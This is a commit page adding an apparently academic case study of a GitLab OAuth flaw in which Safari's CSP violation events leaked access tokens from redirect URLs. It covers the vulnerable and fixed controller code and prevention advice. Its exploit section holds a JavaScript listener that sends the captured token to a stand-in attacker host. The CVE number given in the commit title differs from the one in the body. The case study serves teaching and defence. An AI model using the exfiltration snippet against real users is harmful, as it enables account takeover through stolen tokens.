Skip to content

Commit ee8e291

Browse files
Case Study for Improper Authentication in GitLab (CVE-2022-22213)
1 parent 6302d16 commit ee8e291

File tree

1 file changed

+144
-0
lines changed

1 file changed

+144
-0
lines changed
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
# Improper Authentication In GitLab
2+
3+
## Introduction
4+
Authentication is a critical part of any modern web application, and failures in this area can result in unauthorized access and loss of sensitive information. One recurring category of mistakes is **CWE-287: Improper Authentication**, which frequently appears in the CWE Top 25 due to its potential to allow attackers to impersonate legitimate users. Such a weakness was identified in GitLab, a widely used DevOps platform for source code hosting and continuous integration, in early 2021. The issue was caused by incomplete verification of identity information in GitLab’s OAuth implementation, combined with browser-specific behavior in Safari. This case study examines the root cause of the vulnerability, the specific code-level error, how attackers were able to exploit it, how GitLab fixed the issue, and the steps developers can take to prevent similar problems in future applications.
5+
6+
## Software
7+
8+
**Name:**
9+
GitLab Community Edition (CE) / Enterprise Edition (EE)
10+
11+
**Language:**
12+
Ruby (Ruby on Rails)
13+
14+
**URL:**
15+
https://gitlab.com/gitlab-org/gitlab
16+
17+
## Weakness
18+
### CWE-287: Improper Authentication
19+
20+
Improper Authentication occurs when software does not fully verify a user's identity before granting access to protected resources. When identity attributes are accepted without validation—such as user IDs, OAuth identifiers, or access tokens—they can be manipulated by attackers to impersonate other users.
21+
22+
A simplified generic example of this weakness is shown below:
23+
24+
```ruby
25+
# Generic example
26+
user_id = request.params["external_uid"]
27+
user = find_user_by_uid(user_id)
28+
29+
if user
30+
sign_in(user)
31+
end
32+
```
33+
34+
If an attacker can alter `external_uid`, they may impersonate another user. This example demonstrates how CWE-287 can lead to account takeover when identity values are not strongly validated.
35+
36+
## Vulnerability
37+
### CVE-2021-22213: OAuth Token Leak and Authentication Bypass in GitLab
38+
39+
GitLab uses OAuth to authenticate users for external applications. During this process, GitLab generates an access token and passes it back to the requesting application. In vulnerable versions, GitLab placed this token in the *fragment portion* of a redirect URL. When this URL was loaded in Safari, the browser triggered a `SecurityPolicyViolationEvent` that exposed the full URL—including the access token—to attacker-controlled pages.
40+
41+
The affected code existed in the OAuth callback controller:
42+
43+
```
44+
vulnerable file: app/controllers/oauth/authorized_applications_controller.rb
45+
46+
58 def create
47+
59 # Generates access token after OAuth approval
48+
60 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id)
49+
61
50+
62 # Redirect with token in URL fragment (unsafe)
51+
63 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer"
52+
64 end
53+
```
54+
55+
The issue occurs at **line 63**, where GitLab embeds the access token in the redirect URL fragment. Although URL fragments are not sent to servers, they *are visible to browsers*, and Safari’s handling of content security policy violations surfaced the token to attacker-controlled scripts. Once captured, the attacker could access the victim’s GitLab account and perform any actions allowed by the token.
56+
57+
## Exploit
58+
### CAPEC-218: Session Token Capture via Client-Side
59+
60+
To exploit this issue, an attacker tricks a Safari user into visiting a malicious webpage. The attacker’s page listens for Safari’s `securitypolicyviolation` events, which include the violating `documentURI`—in this case, the OAuth redirect URL containing the token.
61+
62+
When the victim completes the OAuth login, Safari emits an event containing:
63+
64+
```
65+
https://client.example.com/callback#access_token=<victim_token>&token_type=bearer
66+
```
67+
68+
The attacker’s page captures it:
69+
70+
```javascript
71+
document.addEventListener("securitypolicyviolation", (e) => {
72+
fetch("https://attacker.example.com/steal?token=" +
73+
encodeURIComponent(e.documentURI));
74+
});
75+
```
76+
77+
Once the attacker receives the access token, they can immediately call GitLab’s API—reading repositories, accessing issues, or performing any actions permitted to the victim.
78+
79+
## Fix
80+
81+
GitLab resolved the vulnerability by ensuring that tokens were no longer included in redirect URLs or exposed to browser-visible locations. Instead, token delivery was moved to secure server-side channels.
82+
83+
The fix replaced the unsafe redirect with a sanitized one:
84+
85+
```diff
86+
fixed file: app/controllers/oauth/authorized_applications_controller.rb
87+
88+
58 def create
89+
59 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id)
90+
60
91+
-61 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer"
92+
+61 # Redirect user without exposing token in the URL
93+
+62 redirect_to sanitized_redirect_uri
94+
63 end
95+
```
96+
97+
By removing access tokens from browser-exposed surfaces, GitLab eliminated the attacker’s ability to extract tokens via Safari’s CSP event mechanism.
98+
99+
## Prevention
100+
101+
To prevent similar vulnerabilities:
102+
103+
- **Never include access tokens in URLs**, including fragments and query parameters.
104+
- **Use OAuth Authorization Code with PKCE**, which exchanges tokens securely server-side.
105+
- **Perform browser-aware security testing**, especially for authentication flows.
106+
- **Automate token leak detection** in logs, CSP events, and redirects.
107+
- **Implement strong Content Security Policies** and avoid inline scripts around authentication endpoints.
108+
109+
These practices ensure that authentication secrets cannot be leaked through browser behavior or insecure implementation patterns.
110+
111+
## Conclusion
112+
113+
CVE-2021-22213 shows how small oversights in OAuth implementations can lead to critical authentication failures. By embedding access tokens in redirect URLs, GitLab unintentionally exposed them to attacker-controlled pages in Safari, enabling full account takeover. The fix removed tokens from browser-visible surfaces and reinforced safer token-handling processes. This case study highlights the importance of validating all identity data, avoiding token exposure in client-side flows, and performing thorough security testing for authentication mechanisms.
114+
115+
## References
116+
117+
GitLab Project Page:
118+
https://gitlab.com/gitlab-org/gitlab
119+
120+
CVE-2021-22213 Entry:
121+
https://nvd.nist.gov/vuln/detail/CVE-2021-22213
122+
123+
CWE-287 Entry:
124+
https://cwe.mitre.org/data/definitions/287.html
125+
126+
CAPEC-218 Entry:
127+
https://capec.mitre.org/data/definitions/218.html
128+
129+
GitLab Security Advisory for CVE-2021-22213:
130+
https://about.gitlab.com/releases/2021/05/27/security-release-gitlab-13-12-3-released/
131+
132+
GitLab Issue 300308 (root report):
133+
https://gitlab.com/gitlab-org/gitlab/-/issues/300308
134+
135+
Doorkeeper OAuth Documentation:
136+
https://github.com/doorkeeper-gem/doorkeeper
137+
138+
## Contributions
139+
This case study was developed as part of academic research on secure coding practices and authentication mechanisms in modern web application platforms.
140+
141+
Originally created by **Mahesh Pavan Varma Kalidindi**
142+
143+
(C) 2025 The MITRE Corporation. All rights reserved.
144+
This work is openly licensed under <a href="https://creativecommons.org/licenses/by/4.0/">CC-BY-4.0</a>.

0 commit comments

Comments
 (0)